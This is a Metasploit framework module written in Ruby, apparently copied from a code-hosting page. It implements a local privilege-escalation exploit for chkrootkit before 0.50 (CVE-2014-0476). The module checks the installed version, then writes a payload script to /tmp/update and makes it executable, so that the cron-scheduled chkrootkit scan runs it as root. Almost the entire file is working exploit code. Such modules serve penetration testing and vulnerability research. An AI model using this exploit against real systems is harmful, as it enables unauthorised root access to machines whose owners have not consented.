76 lines
2.3 KiB
Ruby
76 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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# This could also be Excellent, but since it requires
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# up to one day to pop a shell, let's set it to Manual instead.
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Rank = ManualRanking
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include Msf::Post::File
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Chkrootkit Local Privilege Escalation',
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'Description' => %q{
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Chkrootkit before 0.50 will run any executable file named /tmp/update
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as root, allowing a trivial privilege escalation.
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WfsDelay is set to 24h, since this is how often a chkrootkit scan is
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scheduled by default.
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},
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'Author' => [
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'Thomas Stangner', # Original exploit
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'Julien "jvoisin" Voisin' # Metasploit module
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],
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'References' => [
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['CVE', '2014-0476'],
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['OSVDB', '107710'],
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['EDB', '33899'],
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['BID', '67813'],
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['CWE', '20'],
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['URL', 'http://seclists.org/oss-sec/2014/q2/430']
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],
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'DisclosureDate' => 'Jun 04 2014',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'SessionTypes' => ['shell', 'meterpreter'],
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'Privileged' => true,
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'Stance' => Msf::Exploit::Stance::Passive,
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'Targets' => [['Automatic', {}]],
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'DefaultTarget' => 0,
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'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h
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))
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register_options([
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OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])
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])
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end
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def check
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version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")
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if version =~ /chkrootkit version 0\.[1-4]/
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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print_warning('Rooting depends on the crontab (this could take a while)')
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write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")
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cmd_exec('chmod +x /tmp/update')
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register_file_for_cleanup('/tmp/update')
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print_status('Payload written to /tmp/update')
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print_status('Waiting for chkrootkit to run via cron...')
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end
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end
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